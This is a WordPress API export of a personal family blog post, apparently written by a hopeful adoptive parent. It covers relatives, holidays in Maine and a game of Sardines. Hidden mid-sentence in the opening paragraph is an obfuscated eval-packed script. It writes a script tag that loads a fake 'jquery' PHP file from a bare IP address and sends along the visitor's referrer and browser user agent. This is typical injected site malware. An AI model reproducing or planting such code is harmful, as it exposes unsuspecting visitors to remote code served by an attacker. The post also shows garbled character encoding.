{"id":3548,"date":"2011-01-11T15:56:11","date_gmt":"2011-01-11T22:56:11","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3548"},"modified":"2017-08-11T09:01:01","modified_gmt":"2017-08-11T16:01:01","slug":"my-family","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3548","title":{"rendered":"My Family"},"content":{"rendered":"<p style=\"text-align: center;\">Growing <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbryr|var|u0026u|referrer|ytnbr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> up, my vacations and happy holidays were spent not only with relatives, but also with much-loved friends that were as close as family.<\/p>\n<h3 style=\"text-align: center;\"><span style=\"color: #008000;\">I think of family as being like a patchwork quilt &#8211; lots of pieces from lots of places, all stitched together into a beautiful pattern.\u00c2\u00a0 My child will always know that families grow through bonds of love.<\/span><\/h3>\n<p style=\"text-align: center;\">My parents, Jim and Ruth, live nearby.\u00c2\u00a0 They\u00e2\u20ac\u2122re devoted grandparents who would love to welcome a new grandchild into the family.\u00c2\u00a0 My brother Mike lives with his wife and kids nearby in Virginia.\u00c2\u00a0 We all love spending time together and see each other as often as we can.\u00c2\u00a0 My niece Jaden loves whales, especially orcas.\u00c2\u00a0 She loves to read.\u00c2\u00a0 My nephew Kyler is great at legos and loves Star Wars.\u00c2\u00a0 Both of them will be so excited to have a cousin to play with!<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/Dad-Jaden.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"Dad &amp; Jaden\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/Dad-Jaden-300x182.jpg\" width=\"300\" height=\"182\" \/><\/a><\/p>\n<p style=\"text-align: center;\">My dad reading to my niece on Christmas Eve<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/mom.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"mom\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/mom-300x220.jpg\" width=\"300\" height=\"220\" \/><\/a><\/p>\n<p style=\"text-align: center;\">This is my mom at a march for equal marriage rights.\u00c2\u00a0 GO MOM!<\/p>\n<p style=\"text-align: center;\">We believe <em>everybody&#8217;s<\/em> family deserves respect.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/sardines.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-thumbnail wp-image-3559 alignleft\" alt=\"sardines\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/sardines-150x150.jpg\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p>The kids love to play &#8220;Sardines.&#8221;\u00c2\u00a0 (Ok, ok, the grownups love it too!)<\/p>\n<p>It&#8217;s like hide-and-seek, only backwards:\u00c2\u00a0 one person hides, and everyone looks for them.\u00c2\u00a0 When you find the person who was hiding,\u00c2\u00a0 <em>you get in and hide with them<\/em>&#8230; until everybody is packed in like sardines!\u00c2\u00a0 It&#8217;s silly and funny and we love it.<\/p>\n<p>Here we are, hiding behind a door, waiting for Nanny Ruth to find us!<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\">Most of my extended family live in New England, and some of my favorite childhood memories are from summers and Christmastimes in Maine.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/maine-woods.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"maine woods\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/maine-woods-300x228.jpg\" width=\"300\" height=\"228\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\">A winter walk in Maine with my parents, my brother, and my niece<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/nanapapa.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"nana&amp;papa\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/04\/nanapapa-300x182.jpg\" width=\"300\" height=\"182\" \/><\/a><\/p>\n<p style=\"text-align: center;\">My grandparents enjoying a summer afternoon in their garden<\/p>\n<p style=\"text-align: center;\">\n","protected":false},"excerpt":{"rendered":"<p>Growing up, my vacations and happy holidays were spent not only with relatives, but also&#8230;<\/p>\n","protected":false},"author":1,"featured_media":3559,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3548","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3548"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3548"}],"version-history":[{"count":8,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3548\/revisions"}],"predecessor-version":[{"id":4064,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3548\/revisions\/4064"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/3559"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3548"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3548"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}